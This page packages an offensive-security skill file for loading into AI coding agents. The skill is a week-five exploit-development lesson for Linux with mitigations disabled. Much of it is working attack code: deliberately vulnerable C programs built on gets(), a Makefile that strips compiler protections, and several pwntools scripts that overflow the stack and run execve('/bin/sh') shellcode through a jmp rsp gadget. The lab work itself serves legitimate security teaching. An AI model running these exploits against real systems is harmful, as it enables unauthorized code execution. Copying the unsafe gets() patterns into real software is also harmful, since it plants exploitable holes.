SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)
Metadata
- Skill Name: basic-exploitation
- Folder: offensive-basic-exploitation
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/5-basic-exploitation.md
Loading
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a spec
The skill file stays in the publisher's repository.
Paste the copied command in a terminal. It installs this SKILL.md into that agent.
npx skills add SnailSploit/Claude-Red --skill offensive-basic-exploitation -a cursor -y
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.
Use this skill when the conversation involves any of:
basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5
When this skill is active:
created by AnotherOne from @Pwn3rzs Telegram channel.
Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.
Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.
Learning Environment:
-fno-stack-protector, -no-pie, -z execstack for ret2shellcode labs, /GS-)setarch -R) or in GDB (set disable-randomization on) for deterministic labsstrcpy without bounds checking—exactly what we'll be exploiting today.~/check_env.sh passes and you recorded its outputvuln1 built and verified with checksecexploit1.py (or equivalent) spawns a shell reliablyUbuntu VM Configuration:
[!IMPORTANT] ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.
# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system
# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on # Default in GDB
# (gdb) set disable-randomization off # If you want ASLR during debug
# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary
# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)
# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!
# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf # Remove any persistent config
# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================
sudo apt update
sudo apt install -y \
nasm \
strace \
ltrace \
ruby \
ruby-dev \
libc6-dbg \
checksec \
patchelf
cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget
# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget
# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh
# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39
# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:
cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c
CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln
# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie
# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs
disabled: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-shellcode: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-rop: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-relro-off: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-full-relro: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
format-sec: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
# Show all protections
check:
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
clean:
rm -f $(BINARY) *.o
.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE
echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"
[!NOTE] Ubuntu 24.04:
- Uses glibc 2.39 with full safe-linking and removed hooks
- Requires
python3-venvfor pip package installation (PEP 668)- For classic heap techniques, consider using Docker with older Ubuntu
Verify Setup:
mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate
# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"
# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
char buf[100];
gets(buf); // Vulnerable: reads from stdin, no bounds check
return 0;
}
EOF
make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing (effectively disabled via -z execstack)
# PIE: No PIE (0x400000)
# Stack: Executable
# RWX: Has RWX segments
# SHSTK: Enabled (Intel CET Shadow Stack - CPU feature, not binary)
# IBT: Enabled (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works
# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]
echo "=== Lab Environment Check ==="
echo ""
# System info
echo "[*] System Information:"
echo " Kernel: $(uname -r)"
echo " glibc: $(ldd --version | head -1 | awk '{print $NF}')"
echo ""
# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
0) echo " WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
1) echo " Partial ASLR (stack only)" ;;
2) echo " Full ASLR enabled (correct for system)" ;;
esac
echo ""
# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
echo "[*] Binary Analysis: $1"
echo " Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
echo ""
fi
# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo " Default: ON (disabled randomization = deterministic addresses)"
echo ""
echo "[+] Environment check complete."
echo " For per-process ASLR disable: setarch x86_64 -R ./binary"
echo " Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh
Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.
ELF() Basics:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *
# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)
# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}") # amd64
print(f"Bits: {elf.bits}") # 64
print(f"Endian: {elf.endian}") # little
print(f"PIE enabled: {elf.pie}") # True/False
print(f"Entry point: {hex(elf.entry)}") # Where execution starts
# Security mitigations (same as checksec)
print(elf.checksec())
# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")
# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}") # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}") # GOT entry
# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")
# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")
Context Configuration (set BEFORE any pwntools operations):
# ~/exploit/2.py
from pwn import *
# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf # Sets arch='amd64', os='linux', endian='little' automatically!
# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'
# Logging level
context.log_level = 'debug' # Show all pwntools output
context.log_level = 'info' # Normal output (default)
context.log_level = 'error' # Only errors
# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef) # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # Unpack 8 bytes to integer
Stack Layout (x86-64 / AMD64):
High Memory
┌─────────────────────┐
│ Command-line args │
├─────────────────────┤
│ Environment vars │
├─────────────────────┤
│ ... │
├─────────────────────┤
│ Stack Frame N │
│ ┌───────────────┐ │
│ │ Locals │ │ ← RSP (Stack Pointer)
│ ├───────────────┤ │
│ │ Saved RBP │ │ ← RBP (Base Pointer)
│ ├───────────────┤ │
│ │ Return Addr │ │ ← Overwrite target! (8 bytes on AMD64)
│ ├───────────────┤ │
│ │ (Args 7+) │ │ (First 6 args in registers!)
│ └───────────────┘ │
├─────────────────────┤
│ Stack Frame N-1 │
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Memory
AMD64 vs x86 Key Differences:
| Feature | x86 (32-bit) | AMD64 (64-bit) |
|---|---|---|
| Register prefix | E (EAX, EBP, ESP) | R (RAX, RBP, RSP) |
| Instruction pointer | EIP | RIP |
| Address size | 4 bytes | 8 bytes |
| Arguments | All on stack | RDI, RSI, RDX, RCX, R8, R9 |
| Return value | EAX | RAX |
| Syscall instruction | int 0x80 | syscall |
| Stack alignment | 4-byte | 16-byte before call |
System V AMD64 ABI Calling Convention:
; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
; RDI = arg1
; RSI = arg2
; RDX = arg3
; RCX = arg4
; R8 = arg5
; R9 = arg6
; stack = arg7+ (pushed right-to-left)
; Return value: RAX
; Example: write(1, buf, len)
mov rdi, 1 ; fd = stdout
mov rsi, buf ; buffer address
mov rdx, len ; length
call write
; Syscall convention (slightly different):
; RAX = syscall number
; RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
; syscall instruction (not int 0x80)
Function Call Mechanics (AMD64):
; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function ; Pushes 8-byte return address
; Inside function
function:
push rbp ; Save old base pointer (8 bytes)
mov rbp, rsp ; Set new base pointer
sub rsp, 0x40 ; Allocate space for locals (must maintain 16-byte alignment)
; Function body...
mov rsp, rbp ; Restore stack pointer (or: leave)
pop rbp ; Restore base pointer
ret ; Return (pops return address into RIP)
Buffer Overflow Visualization (AMD64):
Before overflow:
┌──────────────────┐
│ buffer[64] │ ← strcpy writes here
├──────────────────┤
│ saved RBP │ (8 bytes on AMD64)
├──────────────────┤
│ return address │ (8 bytes on AMD64)
└──────────────────┘
After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA... │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA │ ← return address overwritten! (8 bytes)
└──────────────────┘
When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)
vuln1.c:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // Vulnerable! No bounds checking, allows null bytes
printf("You entered: %s\n", buffer);
}
// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
__asm__("jmp *%rsp"); // This creates a jmp rsp gadget
}
int main() {
printf("Buffer overflow example\n");
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Compile without protections (AMD64):
cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
# -fno-stack-protector \
# -fcf-protection=none \
# -z execstack \
# -no-pie \
# -o vuln1 \
# vuln1.c
#checksec --file=./vuln1
Step 1: Cause a Crash:
# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine
python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault
Step 2: Find Exact Offset (using pattern):
#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *
context.arch = 'amd64'
# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)
# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()
In GDB with pwndbg (AMD64):
gdb ./vuln1
# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")
# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72
# So offset is 72 bytes (64 buffer + 8 saved RBP)
Verify Offset (AMD64):
# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Build payload
payload = b"A" * 72 # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe) # Overwrite return address (8 bytes)
# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()
In GDB (AMD64):
gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")
# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe <- We control the return address!
Working Exploit for vuln1 (stdin-based)
#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)
Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *
# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64 automatically
# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8 # = 72 bytes to overwrite return address
# ============ EXPLOIT ============
def exploit():
# For LEARNING: Disable ASLR, clean environment for consistent addresses
# For PRODUCTION: Use leaks and relative addressing
# NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
# before input is needed (otherwise printf buffers when piped)
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
# Alternatively, for remote targets:
# p = remote('target.host', 1337)
# Wait for prompt (important for synchronization!)
p.recvuntil(b'Enter input: ')
# ============ FIND GADGET ============
# Our vuln1.c includes a jmp rsp gadget in gadgets()
# Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
# Or use pwntools:
rop = ROP(elf)
try:
jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
except:
# Fallback: search for the bytes
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")
# ============ BUILD PAYLOAD ============
# Shellcode goes AFTER the return address (we jump to RSP)
shellcode = asm(shellcraft.amd64.linux.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")
payload = b'A' * OFFSET # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Overwrite return address with jmp rsp
payload += shellcode # Shellcode right after return addr
# RSP points here after ret!
log.info(f"Total payload: {len(payload)} bytes")
# ============ SEND PAYLOAD ============
# sendline() sends raw bytes over the pipe - null bytes work fine!
# This is the proper way to deliver exploits
p.sendline(payload)
# ============ GET SHELL ============
log.success("Payload sent! Switching to interactive mode...")
p.interactive()
def debug():
"""Debug mode - attach GDB manually"""
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
log.info("Run the following commands in a SECOND terminal")
log.info("gdb -p $(pidof vuln1)")
log.info("b vulnerable_function")
log.info("c")
pause()
p.recvuntil(b'Enter input: ')
payload = cyclic(200)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
if args.GDB:
debug()
else:
exploit()
# Usage:
# python3 exploit_vuln1.py - Run exploit
# python3 exploit_vuln1.py GDB - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems
Linux AMD64 Shellcode Basics:
Syscall Convention (AMD64):
syscall instruction triggers syscall (NOT int 0x80!)rax = syscall numberrdi, rsi, rdx, r10, r8, r9 = arguments (note: r10 instead of rcx)raxexecve("/bin/sh", NULL, NULL) Shellcode (AMD64):
; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)
section .text
global _start
_start:
; Clear registers
xor rsi, rsi ; rsi = NULL (argv)
xor rdx, rdx ; rdx = NULL (envp)
; Push "/bin/sh" onto stack (with NULL terminator)
xor rax, rax
push rax ; NULL terminator
mov rax, 0x68732f6e69622f2f ; "//bin/sh" in little-endian
push rax
; Set up execve
mov rdi, rsp ; rdi = pointer to "//bin/sh"
xor rax, rax
mov al, 59 ; rax = 59 (execve syscall number)
; Execute
syscall ; Trigger syscall (NOT int 0x80!)
Assemble and Extract Bytes (AMD64):
cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o
# Extract shellcode bytes
objdump -d shellcode -M intel
# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
Result (23 bytes AMD64 shellcode):
shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"
Test Shellcode Standalone (AMD64):
#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())
# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!
# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
# f.write(shellcode)
exploit1.py (AMD64):
#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)
Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)
Run with: python exploit1.py
"""
from pwn import *
# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64 automatically
offset = 72 # 64 buffer + 8 saved RBP
# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())
def exploit():
# Start process with ASLR disabled using setarch wrapper
# env={} clears environment variables for consistent stack addresses
p = process(['setarch', 'x86_64', '-R', binary], env={})
# Get buffer address by analyzing a crash:
# 1. Generate payload with dummy address:
# python3 -c "from pwn import *; ..." > payload.bin
# 2. Run and get core dump:
# ulimit -c unlimited
# env -i setarch x86_64 -R ./vuln1 < payload.bin
# 3. Analyze core to find actual buffer location:
# gdb ./vuln1 core
# RSP after ret shows where we are on stack
# Buffer = (saved RBP location) - 0x40
#
# Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
# found in GDB need adjustment for standalone execution.
buffer_addr = 0x7fffffffecc0
# Build payload:
# [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
payload = b"\x90" * 16 # NOP sled for tolerance
payload += shellcode # Stack pivot + shellcode
payload += b"A" * (offset - len(payload)) # Padding to fill offset
payload += p64(buffer_addr) # Return to start of buffer (8 bytes)
log.info(f"Shellcode length: {len(shellcode)}")
log.info(f"Total payload: {len(payload)}")
log.info(f"Jumping to: {hex(buffer_addr)}")
# Send payload via stdin
p.sendline(payload)
# Interact with shell
p.interactive()
if __name__ == "__main__":
exploit()
Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):
[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A
jmp rsporcall rspgadget provides a stable return target since RSP points to our controlled data afterret.
#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)
This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64
def find_jmp_rsp():
"""Find a jmp rsp or call rsp gadget in the binary"""
# Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
try:
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
return jmp_rsp
except StopIteration:
pass
try:
call_rsp = next(elf.search(asm('call rsp')))
log.success(f"Found call rsp at {hex(call_rsp)}")
return call_rsp
except StopIteration:
pass
# Try ROPgadget as fallback
log.warning("No jmp/call rsp in binary, trying ROPgadget...")
# Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
return None
def exploit():
offset = 72 # 64 buffer + 8 saved RBP (AMD64)
# Find jmp rsp gadget
jmp_rsp = find_jmp_rsp()
if not jmp_rsp:
log.error("No jmp rsp gadget found! Use fixed address method instead.")
return
# Shellcode (placed AFTER return address)
shellcode = asm(shellcraft.amd64.linux.sh())
# Payload layout:
# [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
# After ret: RIP = jmp_rsp, RSP points to nop sled
payload = b"A" * offset # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Return to jmp rsp (8 bytes!)
payload += b"\x90" * 16 # NOP sled (RSP lands here)
payload += shellcode # Shellcode executes
# Launch and send via stdin
p = process(binary)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.
Method 1: GDB Attach with pwntools
#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *
elf = ELF('./vuln1')
context.binary = elf # Sets arch=amd64
# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})
# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)
# Interact with the process
p.interactive()
Usage:
# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...
# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload
Example Debug Session Output:
After hitting the breakpoint at ret, you'll see something like:
pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00 0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e 0x4141414141414141 <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141 0x4141414141414141 <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe 0x00007ffd11d25d00 <- Return address (overwritten)
Interpreting the output:
0x7ffd11d25cd0 (first A's at offset 0x8 from 0x7ffd11d25cc8)0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP0x7ffd11d25d18 contains our value 0xdeadbeefcafeMethod 2: Step-by-Step GDB Analysis (AMD64)
# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1
# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run
# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location
# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60
# Find buffer address:
pwndbg> print $rbp - 0x40 # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72
# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)
# For automated testing with payload file:
#pwndbg> run < payload.bin
Common Debugging Scenarios:
| Symptom | Likely Cause | Debug Command |
|---|---|---|
| Crash at wrong address | Offset incorrect | cyclic -l <crash_addr> |
| Crash at correct addr but no shell | Shellcode bad or wrong location | x/20i <shellcode_addr> |
| "Illegal instruction" | Bad shellcode or architecture mismatch | Check context.binary |
| Segfault in libc | Stack alignment (AMD64!) | Add extra ret gadget |
| Works in GDB, fails outside | Environment variable difference | setarch -R ./vuln |
The GDB vs Real Execution Problem:
The stack layout differs between GDB and normal execution due to environment variables:
# See the difference
env | wc -l # Count env vars
env -i ./vuln1 # Run with empty environment
# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env # Should be minimal
# Or use this pwntools trick to match addresses
p = process('./vuln1', env={}) # Empty environment
Essential pwndbg Commands for Exploit Development (AMD64):
# Address finding
pwndbg> vmmap # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh" # Find string in memory
pwndbg> got # Show GOT entries
# Payload verification
pwndbg> hexdump $rsp 100 # View your payload on stack
pwndbg> telescope $rsp 20 # Smart stack display (shows dereferences)
# Execution tracing
pwndbg> nearpc # Show instructions around PC
pwndbg> context # Full context display
pwndbg> retaddr # Show return addresses on stack
# Exploit helpers
pwndbg> rop # Find ROP gadgets (slow)
pwndbg> checksec # Binary protections
Debugging Checklist (Use Before Asking for Help!):
cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)print &function in GDBcontext.arch = 'amd64', use p64() not p32()p64()\x00, \x0a, \x0d in payloadchecksec should show "NX disabled"setarch -R or GDB's defaultenv -i or env={} in pwntoolsrun_shellcode() in pwntoolscallStack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.
